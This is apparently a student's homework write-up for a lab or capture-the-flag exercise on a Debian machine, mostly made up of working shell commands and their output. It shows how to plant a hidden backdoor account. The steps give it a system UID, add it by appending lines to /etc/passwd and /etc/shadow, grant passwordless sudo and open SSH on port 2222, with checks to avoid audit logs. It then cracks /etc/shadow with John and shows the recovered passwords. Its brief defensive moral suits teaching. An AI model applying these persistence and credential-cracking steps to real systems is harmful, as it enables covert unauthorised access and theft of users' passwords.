HW6 Advanced Bash - Owning the System

Ralph Pursifull

Step 1: Shadow People

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:

   ```
   # On the target system
   # Prep 0 Switch from sysadmin to root. Harder to track in logs.
   sudo -s

   # Prep 1 What Distro is this?
   cat /etc/os-release   # answer is Debian

   # Prep 2 Is auditing present?
   # Use bash filename expansion to see if any of these are
   # present:  /etc/auditd  /sbin/auditctl /sbin/auditd
   # /etc/systemd/system/au*  /lib/systemd/system/au*
   #  ---None of those are present----So probably no auditing--
   # if did find auditctl, then would do   auditctl -l
   # and inspect the rules.
   # Since there is no detected auditing.. I choose to use standard
   # Linux sysadmin account functions, instead of editing passwd,
   #  group, shadow and gshadow. Make it look like well intentioned
   # “same old stuff by root” instead of surreptitious activity.

   useradd --no-create-home sysd
   ```

2. Give your secret user a password:

   ```
   passwd sysd          # and supply the new password for sysd
   ```

3. Give your secret user a system UID < 1000:

   ```
   # To find matching unused system UID and GID, run this.
   #!/bin/bash
   SCRATCH=/tmp/kdfjdl.$$
   cat /etc/passwd /etc/group | awk -F ':' '{print $3}' | \
        sort -nr | uniq  | grep -e '^[0-9]\{1,3\}$'  >${SCRATCH}
   for i in {999..0..-1} ; do
     if ! grep -q "${i}" "${SCRATCH}" ; then break; fi
   done
   rm -f ${SCRATCH}
   ```

```
echo use $i
# We will proceed with  996

vipw   #change the sysd line to change UID and GID to look like:
        sysd:x:996:996::/home/sysd:/bin/sh
```

4. Give your secret user the same GID:

```
vigr   #change the sysd line to change UID and GID to look like:
        sysd:x:996:
pwck   # verify changes to /etc/passwd
      # says no home dir for sysd. OK. There are many like that.
grpck # verify changes to /etc/passwd
      # no response is good
```

AN ALTERNATE WAY TO DO THIS WITH MINIMAL "DETECTION SURFACE"

On another computer, where you can do anything without detection, create the accounts precisely as desired. Use these commands to get the precise lines needed on the target computer.

```
    tail -1 /etc/passwd
    tail -1 /etc/shadow
    tail -1 /etc/group
    tail -1 /etc/gshadow
```

Create a small script to cut+paste into an elevated bash prompt on the target system. My cut+paste scriptlet looks like this:

```
sudo -s
A='sysd2:$6$Cq8a.5M3$CGRMDJXrvgYSPnnJIBe6RE3gitJNAwLAJ8yq.4lX'
B='xd0iaAzTVuOmRu3pUaLIKjuwb/xd2MSwk7C1C.b3y8awd.:'
C='18919:0:99999:7:::'  # sets password to cybersecurity
echo 'sysd2:x:994:994::/home/sysd2:/bin/sh' >>/etc/passwd
echo "${A}${B}${C}" >>/etc/shadow
echo 'sysd2:x:994:' >>/etc/group
echo 'sysd2:!::' >>/etc/gshadow
```

Result: sysd2 passes all the same tests as sysd.

Moral of the story:

VERY IMPORTANT TO SET AUDIT RULES ON /etc/passwd, /etc/shadow, /etc/group, /etc/gshadow,

VERY IMPORTANT TO HAVE firewall rules

VERY IMPORTANT TO DETECT CHANGES TO sudoers

SELINUX would probably help too.

5. Give your secret user full sudo access without the need for a password:

```
visudo   #add this line to the end of the file:
       sysd ALL=(ALL:ALL) NOPASSWD:ALL
```

6. Test that sudo access works without your password:

```
sysadmin:~\ $ sudo su sysd
$ whoami
sysd
$ sudo -l          # Did not prompt for passwd
Matching Defaults entries for sysd on scavenger-hunt:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:
       /usr/bin\:/sbin\:/bin\:/snap/bin

User sysd may run the following commands on scavenger-hunt:
    (ALL : ALL) NOPASSWD: ALL
$ sudo bash
root@scavenger-hunt:/home/sysadmin# whoami
root
```

Step 2: Smooth Sailing

1. Edit the sshd_config file:

```
# Replace the commented line:
#Port 22
# with these two lines
Port 22
Port 2222
# From a privileged shell
ufw status         # Is the firewall running?
                   # If so need to open port 2222
Status: inactive   # Firewall is not running.
```

Step 3: Testing Your Configuration Update

1. Restart the SSH service:

```
systemctl restart sshd.service
```

2. Exit the root account:

```
exit    # As many times as needed to get back to attack system
exit
exit
```

3. SSH to the target machine using your sysd account and port 2222:

```
ssh sysd@192.168.6.105 -p 2222
```

4. Use sudo to switch to the root user:

```
sudo su
whoami
root
```

Step 4: Crack All the Passwords

1. SSH back to the system using your sysd account and port 2222:

```
$ sudo su

You found flag_7:$1$zmr05X2t$QfOdeJVDpph5pBPpVL6oy0

root@scavenger-hunt:/# whoami
root
```

2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:

```
john /etc/shadow
Created directory: /root/.john
Loaded 8 password hashes with 8 different salts (. . . )
Press 'q' or Ctrl-C to abort, almost any other key for status
computer         (stallman)
freedom          (babbage)
trustno1         (mitnik)
dragon           (lovelace)
lakers           (turing)
passw0rd         (sysadmin)
Goodluck!        (student)
```